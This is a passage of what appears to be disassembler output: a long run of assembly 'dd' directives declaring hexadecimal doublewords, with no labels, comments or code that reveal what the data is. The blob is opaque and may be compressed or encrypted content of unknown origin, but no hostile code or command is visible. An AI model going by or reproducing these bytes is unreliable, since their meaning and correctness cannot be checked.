4C61D851h, 61D6ADAFh, 0DBE4B0E8h dd 0E9801457h, 0C064CC0Ah, 1C6460AEh, 73752748h, 30001416h dd 35FB1C5Ch, 1CFB5A5h, 742CAEFAh, 4084D081h, 0F14256C8h dd 6358B0A8h, 7D050973h, 0E5D908Bh, 823382Eh, 0FFE8F000h dd 226BF36h, 0D5BE401Fh, 889F5BE9h, 0F2802211h, 2F69E95Ah dd 6850F800h, 7358B786h, 7BC4AA1h, 0D0C8ECDCh, 5C3D0177h dd 0BC8C5648h, 58008C08h, 0B1E3BF6Ch, 26502384h, 19C77ACh dd 680D13EBh, 0DE90DCA0h, 44F4DF26h, 2422A417h, 91949755h dd 0C9678001h, 1A94F88h, 7394235Dh, 81648C81h, 0AC1C91D0h dd 0BC230BD4h, 0F83072A2h, 67F4FD64h, 0A9750CE4h, 375878E0h dd 154060B0h, 0E9E31250h, 88888BC2h, 432CC071h, 410924F6h dd 20556F5Ah, 0E1DF1750h, 276D3477h, 40DAC410h, 4C2696E4h dd 1E12BD46h, 0CC0E7FF7h, 0A157EB65h, 42B33778h, 49E116F0h dd 730948F0h, 7CC16471h, 0A8603905h, 0FF1E8C03h, 0CF4BA309h dd 0BE44822Dh, 9B4E02EEh, 3D468050h, 47ADB402h, 1C31B590h dd 0ADAC4910h, 0A50038FCh, 72EE6D50h, 9677D276h, 74465E9Ch dd 2A93DC04h, 324A808Bh, 83EA38E5h, 0CE01209Ch, 3A59715Dh dd 9B15048h, 9D9044ADh, 4680D045h, 0AF06ADA9h, 0F75C0098h dd 4D26BEA6h, 0EEF6DC16h, 68CA15FBh, 69C003C8h, 0F0E9B9h dd 0BCFB5BDFh, 5CEC5530h, 4A0424A4h, 6073B6CAh, 0E22EFE62h dd 40D7CA42h, 8188344Ch, 46439C0h, 1BB99FE2h, 0BBCAC4F0h dd 0C6F378D8h, 3C20A890h, 44C76068h, 0DBE46D4Ch, 0E8C1F09h dd 0BA0004FCh, 0F8E28494h, 0E5306DF2h, 90F45241h, 9400EF58h dd 8A9C7283h, 88004C4Ah, 440E5123h, 18753C5Bh, 7813DDC4h dd 98904BB4h, 6484AE50h, 78657D40h, 32E301B1h, 4D74FA31h dd 0E29C335Ah, 0F45C3020h, 6B2DE500h, 0C36C4D63h, 0FC380586h dd 9F5FBFF5h, 11A580ECh, 404CA976h, 1A7F897Ch, 31BC1413h dd 0E2A128D0h, 0FA320642h, 0C958E972h, 1CE464A5h, 67D2B560h dd 0AC89130Ch, 0BCFE707Eh dd 19FD0204h, 0FCC3FBEFh, 6FE2A104h, 20850981h, 0B256F408h dd 483041E8h, 0E26513AFh, 168CB5Eh, 45AF409Fh, 0BDC4D54Ch dd 0DADD0023h, 0A9736297h, 88C070C0h, 4CAD8461h, 0EDDE2416h dd 0ABF98004h, 0E7A967D8h, 490C6876h, 58613B29h, 19DF1215h dd 7EC03EECh, 16D5008Ch, 706CDC4Ch, 8816B7A6h, 2C421FD3h dd 5865C476h, 0AAE42EB0h, 0E11CDE18h, 46C1FE60h, 3AE0494Ah dd 60A98460h, 75B85809h, 509092AFh, 2002A302h, 802CA170h dd 145A89B8h, 0BC770A2Ah, 494403CDh, 0C880C8B5h, 0B547535Bh dd 0A6DC143Eh, 5F22F4A1h, 0C9878208h, 0B41E2D2Bh, 0D0301B45h dd 60048CAAh, 5375441Ch, 2CC070B2h, 0E1921C58h, 0ABDE0616h dd 0A1753C41h, 0FC407F28h, 0F674F87h, 0E95BD8FDh, 2FD0D096h dd 0F36F57DEh, 6C818230h, 7078D25Dh, 80CC9E63h, 0AB0B1F88h dd 944A0E08h, 1950880Fh, 0A83654A6h, 79D421E1h, 4D4B1E7Ch dd 5D3DF2C0h, 72F601h, 52B471AEh, 0D4D812C5h, 0DB800CBEh dd 7D0BCB45h, 82B50123h, 44101101h, 0AD2EF8DAh, 0D7DE380Ch dd 1313A014h, 41666879h, 55778A54h, 0C4D4340Dh, 0C0FD7528h dd 0B36BBF1Fh, 0AA50F107h, 349BD155h, 33C1DEC0h, 0E702F33Dh dd 40E92E5h, 0D91C5913h, 981804h, 709B6EA6h, 42679729h dd 7B21FF60h, 0F0E5BEA3h, 318C0091h, 6A29104Dh, 3A01DC2Ch dd 8E9F6322h, 82E27584h, 87EE7788h, 8C914BF0h, 0F89FF9F2h dd 38D10BE2h, 40127CA4h, 28FF62C7h, 8386005Dh, 0B069C55Ch dd 1CF0A475h, 0EE4238C0h, 4A5806E4h, 0C13C9A55h, 841387Bh dd 40957C30h, 0B0B8E435h, 7850402Ch, 890D597h, 9B494Fh dd 0FF0FCFC2h, 0C4B38424h, 4200CC7Bh, 0E3C87789h, 0D6169D9Fh dd 0E29C8C48h, 8D97F12h, 74B244C4h, 0C63002E2h, 0E6670F86h dd 4838F16Fh, 2300D2ABh, 0AC96FA7Ch, 3593C4Ah, 5F461B68h dd 0C0C649BAh, 887CDD00h, 315A7938h, 0D8545DB1h, 0FCA11D04h dd 0DE2CE058h, 3217D6F8h, 0ACC83D5Fh, 0C8EF007Ch, 0A79D4696h dd 0DA6016D3h, 4B4859D1h, 2C19458Ah, 8C09AC0Ch, 28380301h dd 0CE30E35Bh, 0F8765ECCh, 0D0FA5442h, 0E711007Ah, 0EE83FF7Fh dd 1D014090h, 0D5A715EAh, 10E9E247h, 1A202038h, 0FA261C98h dd 0FF7658C2h, 94019C18h, 0D9FB8023h, 0C52FE46Bh, 5D04B37h dd 8FFA8001h, 0B1DA105Fh, 845A1685h, 68CC8CF5h, 79F06D30h dd 27CEC551h, 0B423D4C7h, 0BAC8459Ah, 0D328A4CBh, 8A1D14F1h dd 65005F7Fh, 9BDF87E6h, 15ACA284h, 83019164h, 0B4062D6Eh dd 0C0888887h, 73B2CA46h, 0E0F44048h, 3CA3E2Ch, 452D1F95h dd 0A3D5A67Ah, 774A00D8h, 0D1CAD9DDh, 39F10588h, 0A391F04Dh dd 0D4CC84BCh, 88908B25h, 3491C271h, 0E10BF4D0h, 361B5D9Fh dd 0A0701354h, 0C8E8CE08h, 1AF8C009h, 0C2E841DAh, 64574A02h dd 59E6160Bh, 70C088A4h, 23F69101h, 8B142F17h, 0C00788CCh dd 416ADAAFh, 821A633Ch, 0FB796789h, 0FE14648Dh, 0A1EC63CDh dd 1DEBBC76h, 0C564F002h, 0A0238BFBh, 452517B4h, 1B820697h dd 0A06D5CA9h, 0D4BA8964h, 5804E485h, 8B56AE8Ah, 0C06EC824h dd 0D5E2632Ah, 0C822B14Fh, 0ADB3303Ch, 0CB904639h, 481F1CCBh dd 0CA507DABh, 98490037h, 532B4CEEh, 8CA8F342h, 44006CC2h dd 648EE592h, 571B219h, 0F2164102h, 3B3C4807h, 45ADB2C0h dd 80A54390h, 7ADAA47h, 0A5830762h, 10CD89C8h, 2F4250C2h dd 90225489h, 6E3005F2h, 8AFE00B5h, 102D9152h, 571CB8DAh dd 0B382763Fh, 0D1D3548Ch, 0F7428DFCh, 83DBC041h, 33AFB400h dd 7AE9E6BBh, 77C20B97h, 28424089h, 1F7924F9h, 39018B18h dd 0E826D95Dh, 0E0686C51h, 0E3F4E692h, 7B60FF24h, 237785Fh dd 59D08D7Eh, 1850C17Fh, 34935213h, 1C85C8Bh, 91935AC0h dd 2CBF72A8h, 898EA64h, 112D100Dh, 0F103700h, 0E2517E6h dd 408022Fh, 0F147105Ch, 7C342E41h, 7C69D46Eh, 8C883727h dd 42B38B04h, 0F4088C0Dh, 750CBF97h, 0C149F0EAh, 0C2EDF068h dd 58B7E441h, 77950F9h, 0E008518h, 1F0A5553h, 2435299Dh dd 10E47766h, 5B3F01EFh, 18B29475h, 0AFD10A4h, 9801A09h dd 0D41D78D0h, 75807611h, 182FCA26h, 0C552A00h, 0A2F9A97Fh dd 0F54130DFh, 0A339AEA1h, 821D1E3Ah, 0D445DA68h, 951C7AC1h dd 0C200A037h, 3013511h, 9B3017C1h, 81740467h, 68E40731h dd 0EF12AD27h, 0DC00565Ch, 0BC16E500h, 0A1F5D135h, 4989C80h dd 0B2CD506Ch, 3007F28Ch, 8BB8F7ABh, 30A32D01h, 70797450h dd 0E231F034h, 4154AD55h, 0F44E116Fh, 0F960D40Dh, 0D11AA891h dd 722500B7h, 0E538E13h, 5771957Ah, 1006E20Eh, 0EBDC4216h dd 9E6CC4BCh, 72465E80h, 0DD231501h, 2CB31AC3h, 2E8CD49Ch dd 0F5C14875h, 0C46C4B54h, 0AC0A24h, 0E91EC9Ah, 10C205A0h dd 6D715CD0h, 1BECC0B8h, 0D0E47053h, 0E8819C00h, 15E2B999h dd 0C07E7F8Ch, 0A175BAE0h, 0A0C063F8h, 80EBC9EAh, 106B6088h dd 6FF9BA42h, 385B2D2Ch, 21467Ch, 3A180489h, 2E2F2F9h dd 21BC0F4Bh, 44F214F1h, 0BCB4714Ch, 0EC1E8C23h, 101F1D55h dd 0D6E29040h, 9FF112E7h, 46387C1Fh, 0C8BBE300h, 71741C92h dd 11626C2Dh, 0EF0E1B8h, 0BC2EF0ECh, 0B88AC38h, 18C9331Dh dd 0C86B2FC2h, 3E470E00h, 0D357DF84h, 4B925209h, 0E478E543h dd 28996005h, 8E370708h, 0C7478857h, 0F97862C4h, 8F41D85Ch dd 24283FDEh, 16C41502h, 0B86A1EE1h, 0F47BD859h, 1F975560h dd 0C2564C00h, 75D2B790h, 0AC909FDDh, 8AE8A968h, 554F1A77h dd 48810CBh, 4138B6C0h, 71540236h, 0F5D79053h, 0E5FFA783h dd 0F8FEBFD1h, 80E9583Dh, 0A9577510h, 904ADEAEh, 42D6332Bh dd 21006C08h, 1DA94F96h, 0E80587h, 10FFEADDh, 72645B7Dh dd 0BD032E73h, 3164BD8h, 0FEF2A9F5h, 33373442h, 0DEAFA9A8h dd 70225246h, 0FA509730h, 0EB533E0h, 39F4ED26h, 0CD80AE3h dd 7BFD7007h, 0ECE05852h, 3E4FDADDh, 59037CE7h, 0C1804571h dd 22EE0AA0h, 923B0E7Bh, 55540332h, 0A6A76C0Dh, 18BE7868h dd 1158CE4Eh, 0C101AD74h, 2299DE3Eh, 998D5EAh, 0A5942170h dd 0DA9EC100h, 45637D12h, 2A8CE819h, 4674863Eh, 0A95D023Ch dd 1C7ADEB4h, 0A9559C00h, 0B6FA727Eh, 1DA1EF3h, 0A0120444h dd 0A689000Fh, 6F6FE286h, 0A900E0EFh, 0E6692DE0h, 23DA51Dh dd 3F1ED830h, 87AE0B18h, 74867932h, 136F082Ah, 1837E021h dd 146F46C1h, 8C2322EAh, 21816418h, 0DA76ACFEh, 8C182B60h dd 76E2AA9h, 16715EB5h, 0B6B85064h, 4B01B37Eh, 47047D72h dd 444B15E0h, 47C01688h, 3E8258Eh, 12715085h, 7802171Eh dd 16A37FB3h, 24EC8262h, 6394825Ch, 896480DAh, 0CF69429Bh dd 0BF855320h, 648C01F3h, 0D06C0CA5h, 8A072B67h, 160AE502h dd 7D658ACh, 3F81D0ECh, 0BAEAC164h, 0D818A002h, 87A3A46h dd 6ADEB2A9h, 9A4069C4h, 0E0A4A953h, 6697B314h, 0BF760484h dd 24984F55h, 3FC108AEh, 6CC4A1DEh, 0C1A69540h, 52197F73h dd 53406B15h, 0C11CB218h, 11E3DE43h, 0AA7D776Ah, 2057777h dd 7AB69B88h, 23688814h, 0C1AF0150h, 18A9DE40h, 0A796886Bh dd 0A15CC100h, 4B67939Ch, 54161D80h, 27B306B8h, 4607E058h dd 35C610BBh, 7C00489h, 1B1FB410h, 56470E12h, 2ED1085h dd 0A6E668C4h, 4004084Ch, 3A87AF18h, 0E02F1462h, 0AC041838h dd 0ADD12F0h, 7FF04050h, 83CD4C5h, 12FC3348h, 8059F4E4h dd 880F79F0h, 68BFC071h dd 25001829h, 720E3512h, 1CD4D686h, 0C1E0735Ah, 0E6A75550h dd 58C24E9h, 5918AF00h, 279A96Fh, 8996E67h, 2720F01Fh dd 3C0718A7h, 8E083557h, 0BC87005Bh, 0D67BF4h, 5E1EC1E5h dd 4C22CF51h, 128688C2h, 899C688Ch, 0A8838A7h, 0E9E0EB31h dd 0E57994EAh, 8C6FB870h, 0A0917E00h, 0BC7585E1h, 0D4F512F8h dd 0E0604B57h, 5ADA6801h, 2380222Ah, 0A9560135h, 0E42DEADh dd 0A94E9500h, 4C4F4A27h, 884DE005h, 248E78EAh, 0A0C06E88h dd 0F2D913h, 0AD7FDB94h, 65D3E872h, 88C88A0h, 8287D49h dd 8003DC63h, 0BE866DBDh, 0D6094C3Bh, 890244h, 2B6B8BA0h dd 0C2A4949h, 0B3015423h, 0C9DE44C1h, 9A886818h, 0B8D98ABh dd 1F9BDE51h, 0E204A800h, 20E915D8h, 48CA608h, 6F5818AEh dd 0FF63A1h, 18A62621h, 347AAF15h, 60966A24h, 0D019C40Dh dd 8038E807h, 0E6ABF29Dh, 0D3D60FDh, 0B319E769h, 46714E10h dd 0A0226DEh, 6A467430h, 56BDE300h, 2BD6DD89h, 12AFFD12h dd 3CE67E02h, 59C4A064h, 0CF7FF5h, 19360997h, 6A75C733h dd 9FFD8418h, 801308B8h, 6744CE5Ch, 0C1640051h, 3234929Ch dd 25001174h, 442622DDh, 44ABF80h, 0D69B0A54h, 0B2D48260h dd 554F1040h, 7CA4AA56h, 6F5C1809h, 0AC1CC1h, 0DC18AA2Ah dd 4F61B7Bh, 7E33A50Eh, 0D0792ABBh, 80E0CF14h, 9810567Ch dd 415100BCh, 0B952FB53h, 0F502D5ABh, 0D66382BEh, 86FC60C8h dd 3B468422h, 0B3A95C02h, 0D4C772DEh, 0A9809B1Ch, 0BFF8C60Ch dd 0F10F130Dh, 2488044Dh, 8BDC80FFh, 0E9064883h, 613DEC29h dd 722E0E39h, 0BC0279Fh, 973A52FDh, 0D2FA907Eh, 0A5462C90h dd 5718AD02h, 0FD31996Fh, 18A52510h, 1571620Fh, 0AE6B6766h dd 0DF03B02Ah, 7FCCC0Ah, 7E838788h, 0AB09C85Ch, 0B79C0E06h dd 5B55F840h, 3B354267h, 544C11F3h, 0D66C700Eh, 462A7A5h dd 35CB6ACh, 387DAF4h, 7B2FB539h, 58087EEEh, 93EB4h, 0F481C55h dd 0A6012529h, 0FF6D2037h, 8050653Ch, 0FE45E48Bh, 0B97FCAh dd 12631177h, 6A390DAEh, 5FB0B617h, 27F22407h, 0A388A3C9h dd 1168F656h, 12FF38D5h, 9020670Dh, 350E305Fh, 3A11E36Bh dd 6C23F8h, 8B755A7Ah, 8C98BBBEh, 0C8144C00h, 712697Bh dd 1590A3F1h, 34786A78h, 0B4048C79h, 0D1DE45C1h, 9B01C48Eh dd 1831C1ACh, 0AC2DC5E7h, 3020B4C1h, 4E945654h, 9AA50E39h dd 85F1333Eh, 0A498A9D4h, 0B2180843h, 19C45287h, 183BC05Fh dd 0E41C6117h, 310B0800h, 6BC64A68h, 8C474C07h, 0C49C2C4Ch dd 88F27FEAh, 81587E5Ch, 8C68F8A8h, 0D64A6B0Fh, 54530721h dd 0AB6C04C9h, 5D18B360h, 11C96F23h, 0AB2B00FAh, 0E14C1C18h dd 2068B830h, 4A7C776Eh, 74112496h, 0D4F6130Fh, 66CA49h dd 215A3D30h, 0C59C5Fh, 6F4EF23Fh, 83277959h, 2964E237h dd 0DE9EA82Ah, 786463DFh, 8AD9EF02h, 50C600Eh, 465498FFh dd 18B402ACh, 33D16F5Eh, 0AC2C40ACh, 0CEE218h, 5F24849Bh dd 0DF28E40Ch, 0ECD6A800h, 6302C439h, 0C53B1244h, 88988B68h dd 51C0C01Ah, 0E4FB31EDh, 0A118B11Dh, 0B2A1F7E7h, 0E03900BAh dd 0D11BF903h, 3201202Dh, 164E5EFFh, 1030EB2Ah, 0E2F840ACh dd 23285758h, 0C1B00151h, 18B1DE41h, 0A897886Eh, 1114C100h dd 5728B9C5h, 9C0D0071h, 6764B52Dh, 4305FF20h, 1892E9E7h dd 0B8B6A404h, 186E3888h, 180B260Ah, 1090C1E0h, 0B002A846h dd 0B16F5A18h, 2810FB31h, 8F1718A8h, 9C17E004h, 0CEBFF802h dd 4460E759h, 0C2367071h, 83300006h, 0BB2C7C0Fh, 6C74E3BDh dd 0BFC8F513h, 6C880C8Bh, 0C84EADC3h, 2580D108h, 8417692Dh dd 66851311h, 50ACC1A3h, 7486D408h, 0A46E5C90h, 0DE2E42A0h dd 6408E71Ah, 115A6069h, 0E79312DEh, 8D7C1281h, 38A40290h dd 17A95930h, 385ADEB0h, 510098E0h, 4F1F09A9h, 9197C533h dd 63C98048h, 65228DCEh, 0E5535900h, 0D683A2A4h, 0C5A70311h dd 63EA549Fh, 0EEE70694h, 9DF40039h, 0CB5AE5B8h, 0EEE5F796h dd 6A114C97h, 4FC67682h, 0CFE200C0h, 0A2C1458h, 885FCE5Eh dd 0E3122F80h, 0E4439BDFh, 0F7B32CA2h, 89D2089Ch, 8C583Ch dd 0E4B69175h, 70EADE56h, 0A07D482Fh, 23942ED2h, 0CEB70070h dd 0D71E41CDh, 88298D1Ah, 0A1FCC060h, 13BA8057h, 0E0D03404h dd 0B0840E4Dh, 6F23803Ah, 0CF85D800h, 16316961h, 355BA024h dd 23FC2E60h, 2B5A076Dh, 10796039h, 831489B5h, 29467AAh dd 843714BAh, 36EC40B6h, 20D84A64h, 38BEEED4h, 3E454E17h dd 28FF0820h, 896F3FDAh, 687DC600h, 6792D33h, 0FC3138h dd 0DFEAE716h, 9CF74C12h, 37DD02ECh, 98E7D680h, 0F460FC44h dd 0E01E9598h, 7CE407B3h, 17BF3E0Bh, 806C91E4h, 5832EEFCh dd 16F09015h, 4AC56E0Eh, 703DE0h, 0E458F9BEh, 2307A014h dd 8B5C9E25h, 2F403BD0h, 60E2C32h, 12467EF0h, 0EFB09E3Bh dd 0AAA846E1h, 51A5F201h, 3E31D5CFh, 4100EC29h, 7F0C1428h dd 0DC07637Dh, 1DD62F5Ah, 0B43AFA20h, 0E6BF3ED8h, 5531E0B1h dd 0DB64E439h, 10E70430h, 0A4BE8307h, 0D7E106F4h, 315BE0F5h dd 17B7A881h, 0F8450BC3h, 2C6459A7h, 928CA582h, 8F9CCB4Fh dd 0FEDEF003h, 0CD4EF100h, 0D27B84E8h, 0DADE2802h, 0D37CFF0Fh dd 0DBE284FCh, 17504BE9h, 54FB88DCh, 63E83260h, 9084A4D8h dd 576E2004h, 80187F00h, 5BA31CADh, 89922A4Ah, 846418E0h dd 0DAF4B931h, 5E088CA4h, 97B53B3h, 0BC1FB5CFh, 9B806F91h dd 1BF0A55Eh, 0E7C4F506h, 2162CFh, 178C63C7h, 828E2E60h dd 0C301E473h, 0B214CEF3h, 0B120B919h, 0D164B1A6h, 0E07A186Eh dd 3F6A0091h, 0D989F8CDh, 8A2D18E0h, 915417BEh, 8FF2806Dh dd 1210178Eh, 400F3E16h, 92D3DE68h, 0C57550D9h, 0BECC8400h dd 0F877473Ah, 0DE00717h, 0D21C459Dh, 0A88F801Fh, 10E434A2h dd 0FB79C871h, 0AC5B3518h, 1B23583Bh, 6683F200h, 9052EB5h dd 9C51ED8Dh, 38140E0h, 0CF205090h, 7960B4F1h, 0FC081548h dd 183EC0A4h, 2A4A87ADh, 36FCEC2Dh, 244A3F18h, 34441A03h dd 84EA13E1h, 509CD858h, 1FC4674h, 64F65D22h, 0AF0D8B5h dd 91ACBAC0h, 1814D14Ch, 124801DBh, 94CCD6BBh, 4B99F75Ch dd 6FA08259h, 0E0109ADAh, 1287E534h, 0C080427Bh, 69AA2BF0h dd 0E7CA0F0Dh, 11FCA1F1h, 98A7125Eh, 330B00C1h, 6A0E1435h dd 562C6049h, 71BC0FD8h, 0CE4D44E9h, 659088h, 3470287Dh dd 5AB6277Bh, 7746900h, 715E4E59h, 434A4A12h, 5CE7BB48h dd 3A18A867h, 7F7B4308h, 0D4CDC9E7h, 0E558C1C0h, 63F0B0C2h dd 673C9975h, 0FAABB900h, 0CE9B6809h, 0B6B5005Eh, 612E9C35h dd 0A8769187h, 0C9A4A000h, 0BB46094Ch, 45F704E0h, 0E0241286h dd 0A3100794h, 630859C2h, 898404D7h, 0A0B0F69Bh, 7FBB01B4h dd 8884C0C7h, 0DCD040BAh, 0E4B0F75Eh, 644A7310h, 0A0A03C25h dd 0F8BD80E6h, 0A6F96A0h, 0DFFDA09h, 0F8C45Bh, 43971560h dd 66C6C21Fh, 0B602F517h, 5A6B6402h, 0EDD62055h, 0DE092FBDh dd 1056F383h, 80326604h, 0DD38B23Eh, 1251BE54h, 44807EF2h dd 5E71F3B3h, 3ECC6E16h, 6CD51CEFh, 0D12A0CBFh, 9E549159h dd 6D465EF8h, 0B805E00h, 93DEC3F6h, 0C857F330h, 40AEF20Fh dd 8326E217h, 40A650EBh, 3AC702DEh, 0FAF01258h, 368EC040h dd 0F1E0A701h, 56AF85F5h, 98913E0h, 0E5CC8BFFh, 289DD009h dd 499D6911h, 80804DC6h, 8DE7D5B4h, 0F1683E30h, 0D7C0F7h dd 3FCFD31Eh dd 0D544FD40h, 5601C17Ch, 72BD7EFCh, 5311B697h, 0FCC80E80h dd 0E95788C0h, 58913Eh, 3C7AEA9h, 153269F8h, 6CABE05Ah dd 18450440h, 396287B4h, 183DFCh, 13AC0111h, 0B1FEF1E1h dd 805EA525h, 0B3375FA4h, 83CE9B6h, 91F4E718h, 52008FF5h dd 40D7A3Ch, 9980A88h, 696EDC59h, 0E04B1801h, 3C984145h dd 8945363h, 0C250D898h, 801FC33Bh, 2438D34Bh, 2D6F3509h dd 3085B612h, 8654C2B4h, 179554F8h, 806F9134h, 0DED44C20h dd 667412D7h, 7A9404B3h, 9BE20015h, 0B180E9D9h, 63ECDB00h dd 0CD49A029h, 0DFF52632h, 18004900h, 0FD7C81D4h, 0DA2DB978h dd 0D2C8257h, 63608373h, 0DECFA00Ch, 0F96C9A5Dh, 0D37FB210h dd 2A4C6475h, 2C122CF0h, 56EDCE42h, 56B788C0h, 64646549h dd 0D46D606Bh, 1371FC45h, 8E1E62F2h, 0CF71C860h, 5B7740E0h dd 4B7EA2DCh, 0BB78CF04h, 0E8806E27h, 0B6553867h, 87640580h dd 0CEA04BF6h, 95934410h, 1B5C7100h, 0A1DD4021h, 0F16201EBh dd 6583642Fh, 7CF3C655h, 0A01978h, 0CE362831h, 3DBBD81Fh dd 0E6F85250h, 10D9631Dh, 5CF75820h, 3E34A622h, 68B01950h dd 0DA1B806Eh, 8036E3F2h, 3CD8D15Bh, 20623A72h, 0D45C8B3Dh dd 16E467Ch, 0E98A7683h, 7888B96Bh, 0DF0782CEh, 0ACB2C64Dh dd 8240D952h, 73EEE0BAh, 20F9E0BAh, 63186959h, 0AC12B4A2h dd 0E848D882h, 4400287Ah, 53770810h, 3ED73369h, 0FDB57867h dd 23183AE8h, 6A4E0072h, 0C28595E7h, 0A3CB9A01h, 307264DCh dd 6D88604Bh, 0A580B0C0h, 38705C4Dh, 5880710h, 13220A71h dd 0C24B8C02h, 72F884EAh, 87209B56h, 66F04C8Eh, 0F74C096h dd 6B87FC92h, 20E86A0Bh, 0B096F258h, 4674D0EAh, 0BE3E7C6Fh dd 0F7FB81BAh, 0DCF535BDh, 0DE04902Dh, 174378Bh, 0B9BBB536h dd 380E4560h, 99FC09AFh, 4B1496D4h, 0C0974FE0h, 80E1019Fh dd 29150EF6h, 0B3021033h, 3ED68995h, 0AEFF2063h, 65ECE1A6h dd 15B3900Bh, 0F6B60069h, 9155966Dh, 196BD184h, 947CFDCh dd 3176EA6Fh, 0BD2DB078h, 0A7FCA4E4h, 0B0184160h, 16428727h dd 2E39FEF8h, 8E86918h, 38095CBEh, 0E4D045C6h, 215A6015h dd 0AC4E01D0h, 3EB6465Eh, 66218008h, 0EA2989F4h, 5F7800CBh dd 56B4478Dh, 4892579Bh, 2D0AF509h, 0C45C6569h, 0F1BB6212h dd 9AEA8404h, 0E26F2003h, 44099772h, 389DFCC2h, 0EF807011h dd 0DD1611F7h, 0B9B5A702h, 52E36438h, 40E75058h, 375B013Fh dd 3D248760h, 2E218011h, 6B795851h, 0ADE00EEh, 2A570BF9h dd 0DF02533Dh, 3CF0F8CDh, 1AF4A05Eh, 389AA9h, 32F35FEBh dd 40A564ACh, 445E2E0Bh, 0DCA4103Eh, 0F20160Ch, 0A76080D1h dd 3A547B07h, 0DE12B2E4h, 8440D3BBh, 89A52D11h, 2C71F6D7h dd 5E185022h, 8354FD21h, 0CCDB4166h, 40729BDAh, 465E58BEh dd 0D0725A68h, 0E027EBh, 53C2C2Ah, 162020B2h, 703A4864h dd 7E30EAEDh, 89BA07FEh, 9038EB4Ah, 727387C6h, 63480295h dd 0E72844DCh, 8F00EC32h, 1B667687h, 3C48CD63h, 0C261024h dd 473AB400h, 0E80DD864h, 7AD030D0h, 5804F45Fh, 888B951h dd 3C0504A3h, 81E056EFh, 48AAE6B5h, 0B3F64460h, 795A8707h dd 24878104h, 20C1B47h, 0C3560046h, 0CA91D89Ah, 4300298Bh dd 4E8C17Bh, 70E2F766h, 6157786Ah, 5F203303h, 7C89C8C3h dd 14292454h, 574788h, 95294CC3h, 628054Dh, 0EDBD0B0Ch dd 642B0C16h, 615054D8h, 89C8C358h, 1A448C44h, 0C3500040h dd 0D6E37482h, 9A001449h, 0F91FE781h, 30585362h, 0F5AF88Bh dd 16F7588h, 0D5B54336h, 0B9761824h, 83F94D07h, 90CC170h dd 1E0F058Dh, 3B5F1D50h, 5686CDD9h, 88520B3Fh, 730FC01Bh dd 0D8001417h, 81600D7Bh, 14970CEh, 0F78B636Ch, 91D98C66h dd 5B87535Ch, 5C8922C3h, 43101C31h, 2A00C353h, 0DB9C9BE6h dd 182D126Ah, 2310E91Dh, 177C59F5h, 0B756B600h, 0A9D7A8E2h dd 0B57B00E0h, 3CBF2781h, 301D26Eh, 0F04C1F6h, 84C2B984h dd 5D615575h, 6C89C8C3h, 4516448Ch, 0E7C35500h, 95FF5105h dd 0A30351FDh, 0DFC0241Ah, 12E906BEh, 790B17D3h, 2B3280FBh dd 7BBFD81h, 0AC4D5419h, 27BED0E3h, 10C5B13h, 78227DBDh dd 0C3DE0E81h, 2B0EDAB2h, 0D910FCB4h, 71E86E2Ah, 6D853106h dd 3D101818h, 0FA410834h, 532307DBh, 0C8DB523h, 0E9355F24h dd 833A1B4Fh, 9A001C23h, 0B05A33EBh, 7EDB0390h, 0FA8B66F3h dd 247C092h, 62631844h, 1B229688h, 0F520AA90h, 0F68B6A2Bh dd 8F5291ACh, 8989BC5Ah, 0CD61C54h, 8FC35242h, 0BDE4F096h dd 52265930h, 602985C7h, 0D39F0C2Ch, 2FA51EE7h, 30601CC4h dd 9801BBF6h, 249BCEB0h, 0C5416085h, 0F001749h, 0C0A4028Bh dd 98615B3Ch, 6613048Dh, 0A3CE28BEh, 44C9A799h, 0DC186019h dd 303312C9h, 0BD0D0421h, 0A6810E02h, 4D0C0DC1h, 0F120FD0h dd 8B442085h, 40F1FFFBh, 2F61BF12h, 142C848h, 485DFAB7h dd 20A9B5FFh, 1817F17Fh, 70A00390h, 0F3B70F9Fh, 1E3DA010h dd 4165AD50h, 0C9A62004h, 0A0901440h, 1433F3D7h, 3E1E89B5h dd 18C1AE8h, 0D7C8F6CFh, 23CB1B49h, 4FFD00C1h, 0AA89FDBh dd 0F1F606h, 0CCC0F0B9h, 94B12EBBh, 16315C24h, 1C503310h dd 0F2D4039h, 7CE78E52h, 569AF164h, 0C8C35E61h, 0DAA77489h dd 918B4826h, 98000F5h, 348D2981h, 9BE812B9h, 72D7C0CAh dd 16743C53h, 1FC5B75h, 0B119E21Dh, 0A2EC2336h, 0EB62301Dh dd 56A39B00h, 9EDFB23Ah, 0F2CBA01Ah, 95091451h, 6B49D681h dd 181CEB80h, 0F300A229h, 4CAC48AEh, 651DA35h, 60A15833h dd 0BD137630h, 0A77B344Dh, 6C935B0Bh, 0E6B20C18h, 0CF0049F2h dd 818377A5h, 7A451E5h, 8FBAF7Ah, 0FFF793E9h, 0AEB06088h dd 71B52B13h, 8B61AC43h, 518823C1h, 45C3590Eh, 0BA384C89h dd 0C3510041h, 0D460E516h, 8203B194h, 0FD8D89B7h, 0EB582421h dd 6F124EEFh, 721C009Bh, 0BBBE6D7Ah, 7D8803D0h, 0C499D89h dd 0F10C6062h, 2CB0817h, 5858DF9h, 0D9296769h, 0F9C2475h dd 5BCB807Ch, 0F6D60066h, 348950F3h, 49C2404h, 272345C9h dd 6B69B5D2h, 10560A21h, 76D72C09h, 6D391946h, 0AD5AAE84h dd 4DFE81C7h, 0C083001Ah, 0E78EAD05h, 3447417Dh, 0B1133150h dd 2855CCBh, 0BD2B6340h, 846FB3Dh, 26652620h, 0D431453Ch dd 23FE3A9Bh, 42570115h, 860D8589h, 99B50BCFh, 9D8D0753h dd 0C92B94F3h, 18110E9Dh, 84AE9780h, 0FF03D615h, 0B1BD03D3h dd 85BB0820h, 467C1659h, 6D130018h, 0E9212B4Dh, 6E10BA1Dh dd 5D0123E8h, 501AED81h, 93BF66F9h, 0F024F358h, 0C9013E86h dd 0ED81BF0Dh, 19F99Dh, 1DCBE681h, 9C589CFEh, 2E2B34E3h dd 217235Ah, 3BD9CF4Dh, 0E0D76041h, 0DB580BF8h, 0F0892E65h dd 0E9F101FCh, 0C0BD83A3h, 0CCF2B107h, 27A62384h, 342D0840h dd 177DE90Dh, 0B8313D5h, 5EDD9155h, 1C31098h, 14031B00h dd 38605904h, 7D681739h, 3034108Ah, 44220128h, 0AAF6520Ah dd 266FF701h, 168C9E39h, 0D9AB47FDh, 0B972784Fh, 0EF843BA4h dd 0A8E019ADh, 0FEE06F61h, 82F1A68Dh, 0AE2D0ABFh, 31E5908h dd 0FEFF2381h, 661D3B97h, 0A4801811h, 0F572797Bh, 32825E98h dd 8C21E885h, 234025C7h, 0DB8C0966h, 0F941C3F6h, 0DBCD152Ah dd 